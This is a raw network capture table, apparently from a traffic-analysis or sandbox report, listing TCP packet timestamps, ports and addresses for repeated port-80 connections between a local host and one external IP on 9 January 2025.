Jan 9, 2025 04:12:24.041769981 CET	80	49753	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:24.168945074 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.169742107 CET	80	49753	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:24.276237965 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.298557043 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.315661907 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.322974920 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:24.323213100 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.323297024 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.328049898 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:24.461920023 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.669234037 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:24.674917936 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.003175020 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.059551001 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.133550882 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.281364918 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.281883955 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.286798000 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.286920071 CET	80	49754	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.286932945 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.286964893 CET	49754	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.287075996 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.291838884 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.637979031 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:25.642842054 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:25.981440067 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.028287888 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.114264965 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.170037985 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.244493961 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.244498014 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.249371052 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.249519110 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.249615908 CET	80	49755	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.249624968 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.249737978 CET	49755	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.254487038 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.294759989 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.299679995 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.302238941 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.302238941 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.307091951 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.380124092 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.384977102 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.385158062 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.385158062 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.389976978 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.606586933 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.611346960 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.653490067 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.658335924 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.658387899 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.731686115 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.737404108 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737415075 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737417936 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737427950 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737436056 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737484932 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.737895966 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737905025 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.737951040 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.738533974 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.738542080 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.738545895 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.738598108 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.743269920 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743278980 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743287086 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743300915 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743323088 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743331909 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.743333101 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.743352890 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.743387938 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.743974924 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.744024992 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.786788940 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.788294077 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.838730097 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.838779926 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.856897116 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.857181072 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.864396095 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864408016 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864423037 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864432096 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864454031 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.864480972 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864487886 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.864490032 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864495039 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864532948 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.864979029 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.864988089 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865036964 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865037918 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.865046024 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865092039 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.865206957 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865221024 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865231037 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865240097 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865247965 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865257025 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865261078 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.865267038 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865289927 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865298033 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.865298986 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865309000 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865318060 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865324020 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.865325928 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.865335941 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:26.873188972 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873456001 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873469114 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873542070 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873550892 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873605013 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873613119 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873621941 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873625994 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873645067 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873651981 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873697996 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873707056 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873718023 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873725891 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873770952 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873779058 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.873785973 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:26.954299927 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.012780905 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.013259888 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.059655905 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.062608957 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.085659981 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.086627007 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.086627960 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.091541052 CET	80	49757	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.091866970 CET	80	49758	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.091929913 CET	49757	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.091944933 CET	49758	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.137820005 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.211811066 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.211946011 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.216725111 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.216995955 CET	80	49756	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.217076063 CET	49756	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.217089891 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.217174053 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.221945047 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.575614929 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:27.580415010 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.927318096 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:27.981435061 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.062108994 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:28.106466055 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.183293104 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.188113928 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:28.188206911 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.188266993 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.193015099 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:28.544018984 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:28.548868895 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:28.900443077 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:28.950182915 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.033778906 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.075186014 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.149467945 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.149765968 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.154583931 CET	80	49760	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.154597998 CET	80	49761	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.154643059 CET	49760	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.154695988 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.154784918 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.159535885 CET	80	49761	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.512839079 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:29.517750025 CET	80	49761	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.874089003 CET	80	49761	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:29.918947935 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.010582924 CET	80	49761	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:30.059602022 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.134660959 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.139663935 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:30.139749050 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.139869928 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.144679070 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:30.497149944 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.501959085 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:30.832426071 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:30.887813091 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:30.961610079 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.012692928 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.088759899 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.088994980 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.093772888 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.093873024 CET	80	49762	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.093969107 CET	49762	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.093983889 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.094048977 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.098807096 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.450295925 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.457609892 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.780750990 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.825192928 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:31.911560059 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:31.965816021 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.036356926 CET	49761	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.041229010 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.041446924 CET	49764	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.049285889 CET	80	49763	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.049345970 CET	49763	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.049695969 CET	80	49764	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.049763918 CET	49764	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.049864054 CET	49764	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.057827950 CET	80	49764	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.091413975 CET	49764	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.091583967 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.098762035 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.098845959 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.098917961 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.106090069 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.142764091 CET	80	49764	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.210865021 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.218241930 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.218307972 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.218388081 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.225390911 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.450290918 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.460179090 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.464509010 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.546807051 CET	80	49764	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.546855927 CET	49764	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.575292110 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.581434965 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.816584110 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.856462002 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.921195984 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.935740948 CET	80	49759	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.935803890 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.947113991 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:32.966092110 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:32.997064114 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.057377100 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.106446028 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.180504084 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.180517912 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.180886984 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.185549974 CET	80	49765	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.185636044 CET	49765	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.185662031 CET	80	49767	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.185725927 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.185847044 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.185880899 CET	80	49766	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.185925007 CET	49766	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.190653086 CET	80	49767	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.544068098 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:33.548909903 CET	80	49767	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.874043941 CET	80	49767	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:33.918975115 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.003331900 CET	80	49767	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.044003010 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.119971037 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.124775887 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.124985933 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.125077009 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.129894018 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.481525898 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.486401081 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.805391073 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.856478930 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:34.938127041 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:34.981456995 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.058233976 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.058419943 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.063240051 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.063294888 CET	80	49768	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.063344002 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.063361883 CET	49768	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.063462019 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.068186045 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.419081926 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.424566984 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.742770910 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.793961048 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.875368118 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.918957949 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.993555069 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.993833065 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.998531103 CET	80	49769	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.998579025 CET	49769	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.998620033 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:35.998681068 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:35.998786926 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.003727913 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.356667042 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.361572981 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.688699007 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.731492043 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.817715883 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.872083902 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.932650089 CET	49767	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.933049917 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.933299065 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.937968969 CET	80	49770	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.938086987 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:36.938132048 CET	49770	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.938189983 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.938307047 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:36.943742990 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.294048071 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.299365044 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.628576994 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.668963909 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.757571936 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.809603930 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.884548903 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.884810925 CET	49772	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.889828920 CET	80	49771	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.889894962 CET	49771	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.889940977 CET	80	49772	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.890012980 CET	49772	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.890093088 CET	49772	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.895282030 CET	80	49772	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.950702906 CET	49772	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.950881958 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.955710888 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.955794096 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.955849886 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:37.960592985 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:37.998821020 CET	80	49772	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.070389032 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.075284958 CET	80	49774	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.075349092 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.075452089 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.080497026 CET	80	49774	62.109.16.145	192.168.2.4
